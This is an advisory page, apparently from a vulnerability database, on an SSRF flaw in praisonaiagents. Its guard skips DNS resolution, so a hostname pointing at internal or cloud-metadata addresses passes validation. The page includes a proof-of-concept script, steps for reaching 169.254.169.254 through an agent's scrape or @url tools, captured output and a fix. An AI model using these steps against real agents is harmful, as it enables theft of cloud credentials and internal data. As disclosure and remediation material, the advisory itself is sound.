PYSEC-2026-3535

Vulnerability from pysec - Published: 2026-07-23 11:41 - Updated: 2026-07-23 14:32

Details

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI Weakness: CWE-918 Server-Side Request Forgery (SSRF).

Summary

The SSRF guard shared by PraisonAI's web tools (SpiderTools._validate_url → _host_is_blocked in praisonaiagents/tools/spider_tools.py) inspects only literal IP-address encodings of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required.

The guard's own docstring claims it returns True "when hostname resolves to loopback/private/internal targets," but no resolution is performed. The fix for CVE-2026-47390 added more encodings of literal IPs (decimal integer, 0x hex, inet_aton); it did not address the class "host is a name that resolves to a forbidden address."

The same guard is reached through two tool surfaces: - scrape_page / crawl / extract_links / extract_text (spider tools) - the @url mention fetch in praisonaiagents/tools/mentions.py (which calls the identical SpiderTools._validate_url then urllib.request.urlopen)

The correct pattern already exists in the same package: file_tools.py resolves the host with socket.getaddrinfo and checks each resolved address before fetching. spider_tools / mentions do not.

Affected packages

pip/praisonaiagents <= 1.6.39
pip/PraisonAI <= 4.6.39

Root cause

praisonaiagents/tools/spider_tools.py, _host_is_blocked (def at line 26):

def _host_is_blocked(hostname: str) -> bool:
    """Return True when hostname resolves to loopback/private/internal targets."""
    ...
    if host.isdigit():                                  # decimal-int IPv4 literal
        return _ip_blocked(ipaddress.ip_address(int(host)))
    if host.startswith("0x"):                           # hex IPv4 literal
        return _ip_blocked(ipaddress.ip_address(int(host, 16)))
    try:
        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4
    except OSError:
        pass
    return False                                        # <-- any DNS name lands here

Every branch operates on the literal string. For a DNS name (attacker.example): it is not in the literal block sets, not a .local/.internal suffix, int(host) is not applicable, ipaddress.ip_address(name) raises ValueError (swallowed), inet_aton(name) raises OSError (swallowed), and the function returns False — "not blocked." socket.getaddrinfo / gethostbyname are never called anywhere in this path.

_validate_url (def line 74) ends with:

            if _host_is_blocked(parsed.hostname):
                return False
            return True

so a name verdict of "not blocked" yields _validate_url(...) == True, and the caller (scrape_page, or mentions._fetch_url at lines 273–284) proceeds to fetch the original URL via requests / urllib.request.urlopen.

The literal-IP coverage is otherwise good — Python's ipaddress.is_reserved / is_private happen to flag NAT64 (64:ff9b::/96), 6to4 (2002::/16), IPv4-mapped (::ffff:), and IPv4-compatible (::/96) forms. The single residual literal gap is deprecated site-local fec0::/10 (is_private and is_reserved both False), which is low-impact on modern stacks. The DNS-name class is the material issue.

The promise that was broken

The block set explicitly contains "169.254.169.254" and "metadata.google.internal" (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register metadata-thief.example with an A record of 169.254.169.254, and the literal block is never consulted because resolution never happens.

Proof of concept

import socket
from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools

# Literal forms the CVE-2026-47390 fix added — correctly blocked:
for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]:
    assert _host_is_blocked(h) is True, h

# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):
for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]:
    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254

st = SpiderTools
assert st._validate_url("http://127.0.0.1/") is False           # literal blocked
assert st._validate_url("http://metadata-thief.com/") is True   # name passes -> request fires

# The guard never even attempts resolution:
import praisonaiagents.tools.spider_tools as S
S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED"))
assert _host_is_blocked("attacker.example") is False            # no RuntimeError -> never resolved

print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation")

End-to-end against a deployed agent: point any controlled domain's A record at 169.254.169.254 (or 127.0.0.1, or an RFC1918 service), then drive an agent that has scrape_page/crawl enabled, or include the URL as an @url mention. The fetch reaches the internal/metadata target and its response is returned into model context.

Remediation

Resolve the host and apply the existing _ip_blocked check to every resolved address before fetching — the pattern already implemented in praisonaiagents/tools/file_tools.py (lines 339–344):

resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80))
for family, _, _, _, sockaddr in resolved:
    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):
        return True   # blocked

To also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both _validate_url and mentions._fetch_url. Additionally add fec0::/10 to the IPv6 rejection set for completeness.

Steps to reproduce

Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
Run the proof of concept shown above against the cloned source.
Observe the result shown under Verified result below.

Verified result

This PoC was executed against the live upstream code; captured output:

== Literal internal/loopback encodings — correctly BLOCKED ==
   127.0.0.1            blocked=True
   2130706433           blocked=True
   0x7f000001           blocked=True
   169.254.169.254      blocked=True
   ::1                  blocked=True
   localhost            blocked=True
   10.0.0.5             blocked=True

== DNS names whose A-record could point internal — NOT blocked (the gap) ==
   attacker-controlled.example  blocked=False
   metadata-thief.com           blocked=False
   rebind.attacker.net          blocked=False

== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==
   _host_is_blocked('metadata-thief.com') = False  (no RuntimeError -> DNS never resolved)

== _validate_url verdict (replicating the method's host check on the real func) ==
   http://127.0.0.1/        -> validate=False  (blocked)
   http://metadata-thief.com/ -> validate=True  (PASSES -> request fires)

[+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Impacted products

Name	purl
praisonaiagents	pkg:pypi/praisonaiagents

Aliases

JSON

To clipboard

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  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents",
        "purl": "pkg:pypi/praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
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          "type": "ECOSYSTEM"
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        "1.6.44",
        "1.6.45",
        "1.6.46",
        "1.6.47",
        "1.6.48",
        "1.6.5",
        "1.6.50",
        "1.6.51",
        "1.6.52",
        "1.6.53",
        "1.6.54",
        "1.6.55",
        "1.6.56",
        "1.6.57",
        "1.6.58",
        "1.6.6",
        "1.6.7",
        "1.6.8",
        "1.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57126",
    "GHSA-vxgj-xg5c-p4h7"
  ],
  "details": "# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n**Weakness:** CWE-918 Server-Side Request Forgery (SSRF).\n\n---\n\n## Summary\n\nThe SSRF guard shared by PraisonAI\u0027s web tools (`SpiderTools._validate_url` \u2192 `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient \u2014 no DNS-rebinding race is required.\n\nThe guard\u0027s own docstring claims it returns `True` \"when hostname **resolves to** loopback/private/internal targets,\" but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* \"host is a name that resolves to a forbidden address.\"\n\nThe same guard is reached through two tool surfaces:\n- `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools)\n- the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`)\n\nThe correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not.\n\n## Affected packages\n\n- `pip/praisonaiagents` \u003c= 1.6.39\n- `pip/PraisonAI` \u003c= 4.6.39\n\n## Root cause\n\n`praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26):\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n    \"\"\"Return True when hostname resolves to loopback/private/internal targets.\"\"\"\n    ...\n    if host.isdigit():                                  # decimal-int IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host)))\n    if host.startswith(\"0x\"):                           # hex IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host, 16)))\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4\n    except OSError:\n        pass\n    return False                                        # \u003c-- any DNS name lands here\n```\n\nEvery branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` \u2014 \"not blocked.\" `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path.\n\n`_validate_url` (def line 74) ends with:\n\n```python\n            if _host_is_blocked(parsed.hostname):\n                return False\n            return True\n```\n\nso a name verdict of \"not blocked\" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273\u2013284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`.\n\nThe literal-IP coverage is otherwise good \u2014 Python\u0027s `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue.\n\n### The promise that was broken\n\nThe block set explicitly contains `\"169.254.169.254\"` and `\"metadata.google.internal\"` (line 33) \u2014 documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens.\n\n## Proof of concept\n\n```python\nimport socket\nfrom praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools\n\n# Literal forms the CVE-2026-47390 fix added \u2014 correctly blocked:\nfor h in [\"127.0.0.1\", \"2130706433\", \"0x7f000001\", \"169.254.169.254\", \"::1\"]:\n    assert _host_is_blocked(h) is True, h\n\n# DNS names that resolve to internal targets \u2014 NOT blocked (the class the fix missed):\nfor h in [\"attacker-controlled.example\", \"metadata-thief.com\", \"rebind.attacker.net\"]:\n    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254\n\nst = SpiderTools\nassert st._validate_url(\"http://127.0.0.1/\") is False           # literal blocked\nassert st._validate_url(\"http://metadata-thief.com/\") is True   # name passes -\u003e request fires\n\n# The guard never even attempts resolution:\nimport praisonaiagents.tools.spider_tools as S\nS.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError(\"RESOLVER CALLED\"))\nassert _host_is_blocked(\"attacker.example\") is False            # no RuntimeError -\u003e never resolved\n\nprint(\"[+] CONFIRMED: SSRF guard ignores DNS resolution; name-\u003einternal bypasses validation\")\n```\n\nEnd-to-end against a deployed agent: point any controlled domain\u0027s A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context.\n\n## Remediation\n\nResolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching \u2014 the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339\u2013344):\n\n```python\nresolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == \"https\" else 80))\nfor family, _, _, _, sockaddr in resolved:\n    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):\n        return True   # blocked\n```\n\nTo also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept shown above against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n== Literal internal/loopback encodings \u2014 correctly BLOCKED ==\n   127.0.0.1            blocked=True\n   2130706433           blocked=True\n   0x7f000001           blocked=True\n   169.254.169.254      blocked=True\n   ::1                  blocked=True\n   localhost            blocked=True\n   10.0.0.5             blocked=True\n\n== DNS names whose A-record could point internal \u2014 NOT blocked (the gap) ==\n   attacker-controlled.example  blocked=False\n   metadata-thief.com           blocked=False\n   rebind.attacker.net          blocked=False\n\n== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==\n   _host_is_blocked(\u0027metadata-thief.com\u0027) = False  (no RuntimeError -\u003e DNS never resolved)\n\n== _validate_url verdict (replicating the method\u0027s host check on the real func) ==\n   http://127.0.0.1/        -\u003e validate=False  (blocked)\n   http://metadata-thief.com/ -\u003e validate=True  (PASSES -\u003e request fires)\n\n[+] CONFIRMED: name-\u003einternal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "PYSEC-2026-3535",
  "modified": "2026-07-23T14:32:42.135967Z",
  "published": "2026-07-23T11:41:41.488535Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vxgj-xg5c-p4h7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vxgj-xg5c-p4h7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57126"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS"
}

GHSA-VXGJ-XG5C-P4H7

Vulnerability from github – Published: 2026-06-18 13:56 – Updated: 2026-07-20 21:25

Summary

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Details

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Summary

Affected packages

pip/praisonaiagents <= 1.6.39
pip/PraisonAI <= 4.6.39

Root cause

praisonaiagents/tools/spider_tools.py, _host_is_blocked (def at line 26):

def _host_is_blocked(hostname: str) -> bool:
    """Return True when hostname resolves to loopback/private/internal targets."""
    ...
    if host.isdigit():                                  # decimal-int IPv4 literal
        return _ip_blocked(ipaddress.ip_address(int(host)))
    if host.startswith("0x"):                           # hex IPv4 literal
        return _ip_blocked(ipaddress.ip_address(int(host, 16)))
    try:
        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4
    except OSError:
        pass
    return False                                        # <-- any DNS name lands here

_validate_url (def line 74) ends with:

            if _host_is_blocked(parsed.hostname):
                return False
            return True

The promise that was broken

Proof of concept

import socket
from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools

# Literal forms the CVE-2026-47390 fix added — correctly blocked:
for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]:
    assert _host_is_blocked(h) is True, h

# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):
for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]:
    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254

st = SpiderTools
assert st._validate_url("http://127.0.0.1/") is False           # literal blocked
assert st._validate_url("http://metadata-thief.com/") is True   # name passes -> request fires

# The guard never even attempts resolution:
import praisonaiagents.tools.spider_tools as S
S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED"))
assert _host_is_blocked("attacker.example") is False            # no RuntimeError -> never resolved

print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation")

Remediation

resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80))
for family, _, _, _, sockaddr in resolved:
    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):
        return True   # blocked

Steps to reproduce

Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
Run the proof of concept shown above against the cloned source.
Observe the result shown under Verified result below.

Verified result

This PoC was executed against the live upstream code; captured output:

== Literal internal/loopback encodings — correctly BLOCKED ==
   127.0.0.1            blocked=True
   2130706433           blocked=True
   0x7f000001           blocked=True
   169.254.169.254      blocked=True
   ::1                  blocked=True
   localhost            blocked=True
   10.0.0.5             blocked=True

== DNS names whose A-record could point internal — NOT blocked (the gap) ==
   attacker-controlled.example  blocked=False
   metadata-thief.com           blocked=False
   rebind.attacker.net          blocked=False

== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==
   _host_is_blocked('metadata-thief.com') = False  (no RuntimeError -> DNS never resolved)

== _validate_url verdict (replicating the method's host check on the real func) ==
   http://127.0.0.1/        -> validate=False  (blocked)
   http://metadata-thief.com/ -> validate=True  (PASSES -> request fires)

[+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.48"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:56:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS\n\n**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n**Weakness:** CWE-918 Server-Side Request Forgery (SSRF).\n\n---\n\n## Summary\n\nThe SSRF guard shared by PraisonAI\u0027s web tools (`SpiderTools._validate_url` \u2192 `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient \u2014 no DNS-rebinding race is required.\n\nThe guard\u0027s own docstring claims it returns `True` \"when hostname **resolves to** loopback/private/internal targets,\" but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* \"host is a name that resolves to a forbidden address.\"\n\nThe same guard is reached through two tool surfaces:\n- `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools)\n- the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`)\n\nThe correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not.\n\n## Affected packages\n\n- `pip/praisonaiagents` \u003c= 1.6.39\n- `pip/PraisonAI` \u003c= 4.6.39\n\n## Root cause\n\n`praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26):\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n    \"\"\"Return True when hostname resolves to loopback/private/internal targets.\"\"\"\n    ...\n    if host.isdigit():                                  # decimal-int IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host)))\n    if host.startswith(\"0x\"):                           # hex IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host, 16)))\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4\n    except OSError:\n        pass\n    return False                                        # \u003c-- any DNS name lands here\n```\n\nEvery branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` \u2014 \"not blocked.\" `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path.\n\n`_validate_url` (def line 74) ends with:\n\n```python\n            if _host_is_blocked(parsed.hostname):\n                return False\n            return True\n```\n\nso a name verdict of \"not blocked\" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273\u2013284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`.\n\nThe literal-IP coverage is otherwise good \u2014 Python\u0027s `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue.\n\n### The promise that was broken\n\nThe block set explicitly contains `\"169.254.169.254\"` and `\"metadata.google.internal\"` (line 33) \u2014 documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens.\n\n## Proof of concept\n\n```python\nimport socket\nfrom praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools\n\n# Literal forms the CVE-2026-47390 fix added \u2014 correctly blocked:\nfor h in [\"127.0.0.1\", \"2130706433\", \"0x7f000001\", \"169.254.169.254\", \"::1\"]:\n    assert _host_is_blocked(h) is True, h\n\n# DNS names that resolve to internal targets \u2014 NOT blocked (the class the fix missed):\nfor h in [\"attacker-controlled.example\", \"metadata-thief.com\", \"rebind.attacker.net\"]:\n    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254\n\nst = SpiderTools\nassert st._validate_url(\"http://127.0.0.1/\") is False           # literal blocked\nassert st._validate_url(\"http://metadata-thief.com/\") is True   # name passes -\u003e request fires\n\n# The guard never even attempts resolution:\nimport praisonaiagents.tools.spider_tools as S\nS.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError(\"RESOLVER CALLED\"))\nassert _host_is_blocked(\"attacker.example\") is False            # no RuntimeError -\u003e never resolved\n\nprint(\"[+] CONFIRMED: SSRF guard ignores DNS resolution; name-\u003einternal bypasses validation\")\n```\n\nEnd-to-end against a deployed agent: point any controlled domain\u0027s A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context.\n\n## Remediation\n\nResolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching \u2014 the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339\u2013344):\n\n```python\nresolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == \"https\" else 80))\nfor family, _, _, _, sockaddr in resolved:\n    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):\n        return True   # blocked\n```\n\nTo also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept shown above against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n== Literal internal/loopback encodings \u2014 correctly BLOCKED ==\n   127.0.0.1            blocked=True\n   2130706433           blocked=True\n   0x7f000001           blocked=True\n   169.254.169.254      blocked=True\n   ::1                  blocked=True\n   localhost            blocked=True\n   10.0.0.5             blocked=True\n\n== DNS names whose A-record could point internal \u2014 NOT blocked (the gap) ==\n   attacker-controlled.example  blocked=False\n   metadata-thief.com           blocked=False\n   rebind.attacker.net          blocked=False\n\n== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==\n   _host_is_blocked(\u0027metadata-thief.com\u0027) = False  (no RuntimeError -\u003e DNS never resolved)\n\n== _validate_url verdict (replicating the method\u0027s host check on the real func) ==\n   http://127.0.0.1/        -\u003e validate=False  (blocked)\n   http://metadata-thief.com/ -\u003e validate=True  (PASSES -\u003e request fires)\n\n[+] CONFIRMED: name-\u003einternal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-vxgj-xg5c-p4h7",
  "modified": "2026-07-20T21:25:26Z",
  "published": "2026-06-18T13:56:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vxgj-xg5c-p4h7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

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PYSEC-2026-3535

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Summary

Affected packages

Root cause

The promise that was broken

Proof of concept

Remediation

Steps to reproduce

Verified result

Credit

GHSA-VXGJ-XG5C-P4H7

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Summary

Affected packages

Root cause

The promise that was broken

Proof of concept

Remediation

Steps to reproduce

Verified result

Credit

Tags

Sightings

Nomenclature